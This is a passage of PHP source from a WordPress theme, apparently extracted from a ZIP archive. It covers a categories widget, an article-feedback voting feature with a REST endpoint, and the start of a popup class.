			$mark_count   = isset( $instance['mark_count'] ) && $instance['mark_count'];
			$maxitems     = isset( $instance['maxitems'] ) ? $instance['maxitems'] : '';
			$exclude      = isset( $instance['exclude'] ) ? $instance['exclude'] : '';
			$toggle       = isset( $instance['toggle'] ) ? $instance['toggle'] : '';

			$this->classname[] = 'widget_categories';
			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}
			$term_args = [
				'taxonomy'     => $tax,
				'hide_empty'   => ! $hide_empty,
				'order'        => $order,
				'orderby'      => $orderby,
				'hierarchical' => $hierarchical,
				'show_count'   => $count,
				'number'       => $maxitems,
				'title_li'     => '',
			];
			if ( $exclude ) {
				$term_args['exclude'] = explode( ',', $exclude );
			}
			$style = $mark_count ? $style . ' hlmark' : $style;
			add_filter( 'wp_list_categories', function ( $links ) use ( $mark_count ) {
				if ( $mark_count ) {
					$links = preg_replace( '/<\/a> \(([0-9.,]+)\)/', ' <span class="category-item-count">\\1</span></a>', $links );
				}

				return $links;

			}, 0, 1 );
			?>
            <div class="pc-widget-advanced-tax tax-<?php echo $style; ?>">
				<?php if ( 'style-3' == $rstyle ):
					$name = 'category' == $tax ? 'cat' : ( 'post_tag' == $tax ? 'tag' : $tax );
					$term_args['name'] = $name;
					$term_args['value_field'] = 'category' == $tax ? 'term_id' : 'slug';
					?>
                    <form method="get" action="<?php echo esc_url( home_url( '/' ) ); ?>">
						<?php
						wp_dropdown_categories( $term_args );
						?>
                        <script type="text/javascript">
                            /* <![CDATA[ */
                            (function () {
                                var dropdown = document.getElementById("<?php echo esc_attr( $name );?>");

                                function onCatChange() {
                                    if (dropdown.options[dropdown.selectedIndex].value !== '') {
                                        dropdown.parentNode.submit();
                                    }
                                }

                                dropdown.onchange = onCatChange;
                            })();
                            /* ]]> */
                        </script>
                    </form>
				<?php
                elseif ( 'style-2' == $rstyle ):

					if ( $instance['fsize'] ) {
						$term_args['smallest'] = $instance['fsize'];
						$term_args['largest'] = $instance['fsize'];
						$term_args['unit'] = 'px';
					}
					
					wp_tag_cloud( $term_args );
				else:
					$extra_class = $toggle ? ' toggle-enable' : '';
					echo '<ul class="pc-advanced-cat '.esc_attr( $extra_class ).'">';
					wp_list_categories( $term_args );
					echo '</ul>';
				endif; ?>
            </div>
			<?php

			$styles = [
				'color'    => [
					'color' => '#' . $this->id . '.penci_advanced_categories_widget span.category-item-count, #' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a'
				],
				'hcolor'   => [
					'color' => '#' . $this->id . '.penci_advanced_categories_widget a:hover span.category-item-count,#' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link:hover,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a:hover'
				],
				'bgcolor'  => [
					'background-color' => '#' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a'
				],
				'bghcolor' => [
					'background-color' => '#' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link:hover,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a:hover'
				],
				'bdcolor'  => [
					'border-color' => '#' . $this->id . '.penci_advanced_categories_widget ul li,#' . $this->id . '.penci_advanced_categories_widget ul ul, #' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a'
				],
				'bdhcolor' => [
					'border-color' => '#' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link:hover,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a:hover'
				],
				'fsize'    => [
					'font-size' => '#' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a, #' . $this->id . ' .pc-widget-advanced-tax.tax-style-3 select'
				],
				'fsizec'   => [
					'font-size' => '#' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link .tag-link-count,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li .category-item-count'
				],
			];

			$out = '';

			foreach ( $styles as $option => $selectors ) {
				$value = isset( $instance[ $option ] ) ? $instance[ $option ] : '';
				if ( $value ) {
					foreach ( $selectors as $prop => $selector ) {
						$prefix = 'font-size' == $prop ? 'px' : '';
						$out    .= $selector . '{' . $prop . ':' . $value . $prefix . '}';
					}
				}
			}

			if ( $out ) {
				echo '<style>' . $out . '</style>';
			}


			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance      = $old_instance;
			$data_instance = $this->soledad_widget_defaults();
			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'        => esc_html__( 'Categories', 'soledad' ),
				'style'        => '',
				'tax'          => 'category',
				'order'        => '',
				'orderby'      => '',
				'hide_empty'   => '',
				'hierarchical' => '',
				'count'        => '',
				'mark_count'   => '',
				'toggle'   	   => '',
				'maxitems'     => '',
				'exclude'      => '',
				'color'        => '',
				'hcolor'       => '',
				'bgcolor'      => '',
				'bghcolor'     => '',
				'bdcolor'      => '',
				'bdhcolor'     => '',
				'fsize'        => '',
				'fsizec'       => '',
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$tax            = isset( $instance['tax'] ) ? $instance['tax'] : 'category';
			$style          = isset( $instance['style'] ) ? $instance['style'] : '';
			$order          = isset( $instance['order'] ) ? $instance['order'] : '';
			?>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"><?php esc_html_e( 'Style:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>"
                        class="widefat categories" style="width:100%;">
					<?php
					$styles = [
						'style-1' => 'List',
						'style-2' => 'Boxed',
						'style-3' => 'Dropdown',
					];
					foreach ( $styles as $name => $label ) {
						?>
                        <option value='<?php echo esc_attr( $name ); ?>' <?php if ( $name == $style ) {
							echo 'selected="selected"';
						} ?>><?php echo $label; ?></option>
					<?php } ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tax' ) ); ?>"><?php esc_html_e( 'Select Taxnonomy:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'tax' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'tax' ) ); ?>"
                        class="widefat categories" style="width:100%;">
					<?php
					$post_types = get_post_types( [
						'public' => true,
					], 'objects' );
					foreach ( $post_types as $post_type => $type ) {
						foreach ( get_object_taxonomies( $type->name, 'object' ) as $tax_name => $tax_info ) {
							?>
                            <option value='<?php echo esc_attr( $tax_name ); ?>' <?php if ( $tax_name == $tax ) {
								echo 'selected="selected"';
							} ?>><?php echo sanitize_text_field( $type->label . ' - ' . $tax_info->label ); ?></option>
						<?php }
					} ?>
                </select>
            </p>

			<?php
			$order_by_lists = array( 'term_id', 'name', 'slug', 'count' )
			?>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order by:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>"
                        class="widefat categories" style="width:100%;">
					<?php foreach ( $order_by_lists as $orderl ): ?>
                        <option value='<?php echo $orderl; ?>' <?php if ( $orderl == $order ) {
							echo 'selected="selected"';
						} ?>><?php echo $orderl; ?>
                        </option>
					<?php endforeach; ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Order:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>"
                        class="widefat categories" style="width:100%;">
                    <option value='ASC' <?php if ( 'ASC' == $order ) {
						echo 'selected="selected"';
					} ?>>ASC
                    </option>
                    <option value='DESC' <?php if ( 'DESC' == $order ) {
						echo 'selected="selected"';
					} ?>>DESC
                    </option>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'toggle' ) ); ?>"><?php esc_html_e( 'Enable toggle to view child terms?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'toggle' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'toggle' ) ); ?>" <?php checked( (bool) $instance['toggle'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_empty' ) ); ?>"><?php esc_html_e( 'Show empty term?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_empty' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_empty' ) ); ?>" <?php checked( (bool) $instance['hide_empty'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hierarchical' ) ); ?>"><?php esc_html_e( 'Show in hierarchical?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hierarchical' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hierarchical' ) ); ?>" <?php checked( (bool) $instance['hierarchical'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'count' ) ); ?>"><?php esc_html_e( 'Show posts count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'count' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'count' ) ); ?>" <?php checked( (bool) $instance['count'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'mark_count' ) ); ?>"><?php esc_html_e( 'Highlight posts count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'mark_count' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'mark_count' ) ); ?>" <?php checked( (bool) $instance['mark_count'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'maxitems' ) ); ?>">Limit Number of Categories to
                    Show</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'maxitems' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'maxitems' ) ); ?>"
                       value="<?php echo $instance['maxitems']; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"><?php esc_html_e( 'Exclude Term IDs:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'exclude' ) ); ?>"
                       value="<?php echo $instance['exclude']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'color' ); ?>"
                       style="display:block;"><?php _e( 'Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'color' ); ?>"
                       name="<?php echo $this->get_field_name( 'color' ); ?>" type="text"
                       value="<?php echo $instance['color']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'hcolor' ); ?>"
                       style="display:block;"><?php _e( 'Hover Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'hcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'hcolor' ); ?>" type="text"
                       value="<?php echo $instance['hcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'bgcolor' ); ?>"
                       style="display:block;"><?php _e( 'Background Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'bgcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'bgcolor' ); ?>" type="text"
                       value="<?php echo $instance['bgcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'bghcolor' ); ?>"
                       style="display:block;"><?php _e( 'Background Hover Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'bghcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'bghcolor' ); ?>" type="text"
                       value="<?php echo $instance['bghcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'bdcolor' ); ?>"
                       style="display:block;"><?php _e( 'Borders Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'bdcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'bdcolor' ); ?>" type="text"
                       value="<?php echo $instance['bdcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'bdhcolor' ); ?>"
                       style="display:block;"><?php _e( 'Borders Hover Color (for Boxed Style):' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'bdhcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'bdhcolor' ); ?>" type="text"
                       value="<?php echo $instance['bdhcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'fsize' ) ); ?>">Font Size for Term Name</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'fsize' ) ); ?>"
                       value="<?php echo $instance['fsize']; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'fsizec' ) ); ?>">Font Size for Counter</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'fsizec' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'fsizec' ) ); ?>"
                       value="<?php echo $instance['fsizec']; ?>">
            </p>

			<?php
		}
	}
}
?>
PK     2w\ІLi(  (    article_feedback.phpnu [        <?php

class Penci_Article_FeedBack {
    /**
     * @var array List of supported post types
     */
    private $post_types = [];

    /**
     * Constructor
     */
    public function __construct() {
        // Read selected post types
        $this->post_types = get_theme_mod( 'penci_ha_enabled_post_types', [] );

        if ( empty( $this->post_types ) || is_front_page() || is_home() || is_archive() || is_search() || is_404() ) {
            return;
        }

        add_action( 'init', [ $this, 'post_type_support' ] );
        add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_assets' ] );
        add_filter( 'the_content', [ $this, 'render_feedback' ] );
        add_action( 'rest_api_init', [ $this, 'register_routes' ] );
        add_action( 'add_meta_boxes', array( $this, 'add_feedback_meta_box' ) );
        add_action( 'save_post', array( $this, 'save_meta' ) );
    }

    public function add_feedback_meta_box( $post_type ) {

        $post_types = array_diff( $this->post_types, [ 'post', 'page' ] ); // Exclude 'post' and 'page' if present

		add_meta_box(
            'penci_helpful_meta',
            esc_html__( 'Article Feedback', 'soledad' ),
            array( $this, 'render_meta_box_content' ),
            $post_types,
            'advanced',
            'default'
        );
	}

    public function save_meta( $post_id ) {
        if ( ! isset( $_POST['penci_article_feedback'] ) ) {
			return $post_id;
		}

		$nonce = $_POST['penci_article_feedback'];

		// Verify that the nonce is valid.
		if ( ! wp_verify_nonce( $nonce, 'penci_article_feedback' ) ) {
			return $post_id;
		}

        if ( isset( $_POST['penci_helpful_enable'] ) ) {
			update_post_meta( $post_id, 'penci_helpful_enable', $_POST['penci_helpful_enable'] );
		}

		// If this is an autosave, our form has not been submitted,
		//     so we don't want to do anything.
		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
			return $post_id;
		}
    }

    public function render_meta_box_content( $post ) {
        wp_nonce_field( 'penci_article_feedback', 'penci_article_feedback' );
        $penci_helpful_enable = get_post_meta( $post->ID, 'penci_helpful_enable', true );
        ?>
        <div class="pcmt-control-wrapper">
            <div class="pcmt-title">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Enable Article Feedback for This
                    Post', 'soledad' ); ?></h2>
            </div>
            <div class="pcmt-control">
                <p>
                    <select id="penci_helpful_enable" name="penci_helpful_enable">
                        <option value=""><?php esc_html_e( 'Default Settings', 'soledad' ); ?></option>
                        <option value="yes" <?php selected( $penci_helpful_enable, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                        <option value="no" <?php selected( $penci_helpful_enable, 'no' ); ?>><?php esc_html_e( 'No', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
        </div>
        <?php
    }

    /**
     * Register REST API routes
     */
    public function register_routes() {
        register_rest_route( 'article_feedback/v1', '/feedback/(?P<post_id>\d+)', [
            'methods'             => 'POST',
            'callback'            => [ $this, 'handle_feedback' ],
            'permission_callback' => '__return_true',
        ] );
    }

    /**
     * Enqueue assets
     */
    public function enqueue_assets() {
        if ( is_singular( $this->post_types ) ) {
            wp_enqueue_script(
                'penci-article-feedback',
                PENCI_SOLEDAD_URL . '/js/feedback.js',
                [ 'jquery' ],
                PENCI_SOLEDAD_VERSION,
                true
            );
        }
    }

    /**
     * Render feedback UI
     */
    public function render_feedback( $content ) {
        $feedback_content = '';

        $post_id       = get_the_ID();
        $meta_setting  = get_post_meta( $post_id, 'penci_helpful_enable', true );
        $show_feedback = $meta_setting === 'yes' ? true : ( $meta_setting === 'no' ? false : is_singular( $this->post_types ) );

        if ( $show_feedback ) {
            $post_id = get_the_ID();

            $class = 'penci-afb-disabled';

            $thank_text = $question_text = esc_attr( $this->get_text( 'thank' ) );
            $yes_text = esc_html( $this->get_text( 'yes' ) );
            $no_text = esc_html( $this->get_text( 'no' ) );

            // Don't show feedback if already voted
            if ( ! isset( $_COOKIE[ "penci_afb_" . $post_id ] ) ) {
                $class = 'penci-afb-enable';
                $question_text = esc_html( $this->get_text( 'question' ) );
            }

            $yes_count = '<i class="penci-afb-count-yes">' . (int) get_post_meta( $post_id, 'penci_feedback_yes', true ) . '</i>';
            $no_count = '<i class="penci-afb-count-no">' . (int) get_post_meta( $post_id, 'penci_feedback_no', true ) . '</i>';

            $yes_icon = '<svg width="800px" height="800px" viewBox="0 0 1920 1920" xmlns="http://www.w3.org/2000/svg"><path d="M1863.059 1016.47c0-124.574-101.308-225.882-225.883-225.882H1203.37c-19.651 0-37.044-9.374-47.66-25.863-10.391-16.15-11.86-35.577-3.84-53.196 54.776-121.073 94.87-247.115 119.378-374.513 15.925-83.576-5.873-169.072-60.085-234.578C1157.29 37.384 1078.005 0 993.751 0H846.588v56.47c0 254.457-155.068 473.224-285.063 612.029-72.734 77.477-176.98 122.09-285.967 122.09H56v734.117C56 1742.682 233.318 1920 451.294 1920h960c124.574 0 225.882-101.308 225.882-225.882 0-46.42-14.117-89.676-38.174-125.59 87.869-30.947 151.116-114.862 151.116-213.234 0-46.419-14.118-89.675-38.174-125.59 87.868-30.946 151.115-114.862 151.115-213.233" fill-rule="evenodd"/></svg>';

            $feedback_content .= '<div class="penci-article-feedback '.$class.'" id="penci-article-feedback" data-post-id="' . esc_attr( $post_id ) . '" data-thank-text="' . $thank_text . '">';
            $feedback_content .= '<div class="penci-afb-title">' . $question_text . '</div>';
            $feedback_content .= '<div class="penci-afb-yn">';
            $feedback_content .= '<span class="penci-afbl" data-value="1">' . $yes_icon . $yes_text . $yes_count . '</span>';
            $feedback_content .= '<span class="penci-afbdl" data-value="0">' . $no_text . $yes_icon . $no_count . '</span>';
            $feedback_content .= '</div></div>';
            
        }

        return $content . $feedback_content;
    }

    /**
     * Handle feedback submission via REST API
     *
     * @param WP_REST_Request $request
     * @return WP_REST_Response
     */
    public function handle_feedback( $request ) {
        $post_id = $request->get_param( 'post_id' );
        $value   = $request->get_param( 'value' );

        // Validate post ID
        if ( ! get_post( $post_id ) || ! in_array( get_post_type( $post_id ), $this->post_types, true ) ) {
            return new WP_REST_Response( [ 'error' => 'Invalid post ID' ], 400 );
        }

        // Validate value
        if ( ! in_array( $value, [ 0, 1 ], true ) ) {
            return new WP_REST_Response( [ 'error' => 'Invalid feedback value' ], 400 );
        }

        $meta_key   = $value ? 'penci_feedback_yes' : 'penci_feedback_no';
        $meta_value = (int) get_post_meta( $post_id, $meta_key, true ) + 1;

        update_post_meta( $post_id, $meta_key, $meta_value );

        return new WP_REST_Response( [
            'success' => true,
            'yes'     => $meta_key === 'penci_feedback_yes' ? $meta_value : (int) get_post_meta( $post_id, 'penci_feedback_yes', true ),
            'no'      => $meta_key === 'penci_feedback_no'  ? $meta_value : (int) get_post_meta( $post_id, 'penci_feedback_no', true ),
        ], 200 );
    }

    /**
     * Get localized text for feedback
     *
     * @param string $key
     * @return string
     */
    private function get_text( $key ) {
        $texts = [
            'thank'    => __( 'Thank you for your feedback!', 'soledad' ),
            'question' => __( 'Was this article helpful?', 'soledad' ),
            'yes'      => __( 'Yes', 'soledad' ),
            'no'       => __( 'No', 'soledad' ),
        ];

		return get_theme_mod( 'penci_ha_' . $key . '_text' ) ? get_theme_mod( 'penci_ha_' . $key . '_text' ) : $texts[ $key ];
    }

    public function penci_feedback_column( $column, $post_id ) {

        // Variables
        $positive_value = intval( get_post_meta( $post_id, 'penci_feedback_yes', true ) );
        $negative_value = intval( get_post_meta( $post_id, 'penci_feedback_no', true ) );

        // Total
        $total = $positive_value + $negative_value;

        if ( $total > 0 ) {
            $ratio = intval( $positive_value * 100 / $total );
        }

        // helpful ration
        if ( $column == 'penci_feedback' ) {

            if ( $total > 0 ) {
                echo "<strong style='display:block;'>%" . $ratio . "</strong>";
                echo "<em style='display:block;color:rgba(0,0,0,.55);'>" . $positive_value . " helpful" . " / " . $negative_value . " not helpful</em>";
                echo "<div style='margin-top: 5px;width:100%;max-width:100px;background:rgba(0,0,0,.12);line-height:0px;font-size:0px;border-radius:3px;'><span style='width:" . $ratio . "%;background:rgba(0,0,0,.55);height:4px;display:inline-block;border-radius:3px;'></span></div>";
            } else {
                echo "—";
            }

        }

    }

    public function column_heading( $columns ) {

        // Add column
        $columns['penci_feedback'] = __( 'Feedback', 'soledad' );

        return $columns;
    }

    // Adds post type support
    public function post_type_support() {

        // Get selected post types
        $selected_post_types = $this->post_types;

        // loop selected type
        if ( ! empty( $selected_post_types ) ) {

            foreach ( $selected_post_types as $selected_type ) {

                add_filter( 'manage_' . $selected_type . '_posts_columns', [ $this, 'column_heading' ] );
                add_action( 'manage_' . $selected_type . '_posts_custom_column', [
                    $this,
                    'penci_feedback_column'
                ], 10, 2 );

            }

        }

    }
}

new Penci_Article_FeedBack();PK     2w\"  "  	  popup.phpnu [        <?php

class PenciPopup {
	function __construct() {

		$popup_enable = get_theme_mod( 'penci_popup_enable' );
		$popup_mobile = get_theme_mod( 'penci_popup_disable_mobile' );

		if ( ! $popup_enable || ( penci_is_mobile() && $popup_mobile ) || is_admin() ) {
			return;
		}

		add_action( 'wp_footer', [ $this, 'popup_content' ] );
		add_action( 'soledad_theme/custom_css', [ $this, 'popup_style' ] );
		add_action( 'wp_enqueue_scripts', [ $this, 'popup_assets' ] );
	}

	public function popup_assets() {
		wp_register_script( 'penci-popup', PENCI_SOLEDAD_URL . '/js/penci-popup.js', [ 'js-cookies' ], PENCI_SOLEDAD_VERSION, true );
		wp_localize_script( 'penci-popup', 'penci_popup_settings', [
			'promo_version' => get_theme_mod( 'penci_popup_version', '1' ),
			'close'         => true,
			'loading'       => true,
			'popup_pages'   => get_theme_mod( 'penci_popup_show_after_pages', 0 ),
			'popup_event'   => get_theme_mod( 'penci_popup_show_after', 'all_pages' ),
			'popup_scroll'  => get_theme_mod( 'penci_popup_show_after_scroll', 1000 ),
			'popup_delay'   => (int) get_theme_mod( 'penci_popup_show_after_time', 7 ),
		] );
	}

	public function popup_content() {

		if ( ! $this->should_display_popup() ) {
			return;
		}

		wp_enqueue_script( 'penci-popup' );

		$popup_render_content = $class = '';

		$popup_content = get_theme_mod( 'penci_popup_html_content' );
		$popup_block   = get_theme_mod( 'penci_popup_block' );

		if ( $popup_block == '' && $popup_content ) {
			
			$popup_render_content = do_shortcode( $popup_content );
			$class                = 'normal-content';
			
		} elseif ( $popup_block ) {
			$popup_block_id = get_page_by_path( $popup_block, OBJECT, 'penci-block' )->ID;
			$class          = 'block-content';
			if ( $popup_block_id && did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $popup_block_id )->is_built_with_elementor() ) {
				$popup_render_content .= penci_get_elementor_content( $popup_block_id );
			} else {
				$popup_render_content .= do_shortcode( get_post( $popup_block_id )->post_content );

				$shortcodes_custom_css = get_post_meta( $popup_block_id, '_wpb_shortcodes_custom_css', true );

				$popup_render_content .= '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					$popup_render_content .= $shortcodes_custom_css;
				}
				$popup_render_content .= '</style>';
			}
		}

		if ( $popup_render_content ) {
			$version   = get_theme_mod( 'penci_popup_version' );
			$animation = get_theme_mod( 'penci_popup_animation', 'move-to-top' );
			echo '<div id="penci-popup-' . esc_attr( $version ) . '" class="mfp-with-anim penci-popup-content ' . $class . ' ' . $animation . '">' . $popup_render_content . '</div>';
			wp_reset_postdata();
		}
	}

	public function should_display_popup() {
		$return = true;

		$popup_search = get_theme_mod( 'penci_popup_exclude_search' );
		$popup_404    = get_theme_mod( 'penci_popup_exclude_404' );

		if ( is_single() || is_page() || is_singular() || is_home() || is_front_page() ) {
			$return = $this->should_display_singular_popup();
		} else if ( is_tax() || is_category() || is_tag() ) {
			$return = $this->should_display_archive_popup();
		}

		if ( ( is_search() && $popup_search ) || ( is_404() && $popup_404 ) ) {
			$return = false;
		}

		return $return;
	}

	public function should_display_singular_popup() {
		global $post;
		$post_type = get_post_type();
		$post_id   = $post->ID;

		$homepage = get_theme_mod( 'penci_popup_exclude_homepages' );
		$blogpage = get_theme_mod( 'penci_popup_exclude_blog' );

		$ex = get_theme_mod( 'penci_popup_ex_singular_ids' ) ? explode( ',', get_theme_mod( 'penci_popup_ex_singular_ids' ) ) : '';
		$in = get_theme_mod( 'penci_popup_in_singular_ids' ) ? explode( ',', get_theme_mod( 'penci_popup_in_singular_ids' ) ) : '';

		$show = false;

		if ( is_singular( $post_type ) ) {
			$show = get_theme_mod( 'penci_popup_show_' . $post_type );
		}

		if ( is_singular() && is_array( $ex ) && in_array( $post_id, $ex ) ) {
			$show = false;
		}

		if ( is_array( $in ) && is_singular() ) {
			$show = false;
		}

		if ( is_singular() && is_array( $in ) && in_array( $post_id, $in ) ) {
			$show = true;
		}

		if ( is_home() || is_front_page() ) {
			$show = true;
		}

		if ( is_home() && $homepage && is_front_page() || ( is_front_page() && $homepage ) ) {
			$show = false;
		} else if ( is_home() && $blogpage ) {
			$show = false;
		}

		return $show;
	}

	public function should_display_archive_popup() {
		$tax  = get_queried_object();
		$show = false;

		if ( isset( $tax->taxonomy ) && $tax->taxonomy ) {
			$show = get_theme_mod( 'penci_popup_archive_' . $tax->taxonomy );
		}

		return $show;
	}

	public function popup_style() {

		if ( ! $this->should_display_popup() ) {
			return;
		}

		$popup_bgimg       = get_theme_mod( 'penci_popup_bgimg' );
		$popup_bgcl        = get_theme_mod( 'penci_popup_bgcolor' );
		$popup_bgrepeat    = get_theme_mod( 'penci_popup_bgrepeat' );
		$popup_bgposition  = get_theme_mod( 'penci_popup_bgposition' );
		$popup_bgsize      = get_theme_mod( 'penci_popup_bgsize' );
		$popup_bgscroll    = get_theme_mod( 'penci_popup_bgscroll' );
		$popup_mw          = get_theme_mod( 'penci_popup_width_mobile' );
		$popup_w           = get_theme_mod( 'penci_popup_width_desktop' );
		$popup_cl          = get_theme_mod( 'penci_popup_txtcolor' );
		$popup_tsize       = get_theme_mod( 'penci_popup_txt_size' );
		$popup_tmsize      = get_theme_mod( 'penci_popup_txt_msize' );
		$popup_spacing     = get_theme_mod( 'penci_popup_spacing' );
		$popup_bordercolor = get_theme_mod( 'penci_popup_bordercolor' );

		echo '.penci-popup-content{';
		if ( $popup_bgimg ) {
			echo 'background-image:url("' . esc_url( $popup_bgimg ) . '");';
		}
		if ( $popup_bgcl ) {
			echo 'background-color:' . esc_attr( $popup_bgcl ) . ';';
		}
		if ( $popup_bgrepeat ) {
			echo 'background-repeat:' . esc_attr( $popup_bgrepeat ) . ';';
		}
		if ( $popup_bgposition ) {
			echo 'background-position:' . esc_attr( $popup_bgposition ) . ';';
		}
		if ( $popup_bgsize ) {
			echo 'background-size:' . esc_attr( $popup_bgsize ) . ';';
		}
		if ( $popup_bgscroll ) {
			echo 'background-scroll:' . esc_attr( $popup_bgscroll ) . ';';
		}
		if ( $popup_w ) {
			echo 'max-width:' . esc_attr( $popup_w ) . 'px;';
		}
		if ( $popup_cl ) {
			echo 'color:' . esc_attr( $popup_cl ) . ';';
		}
		if ( $popup_tsize ) {
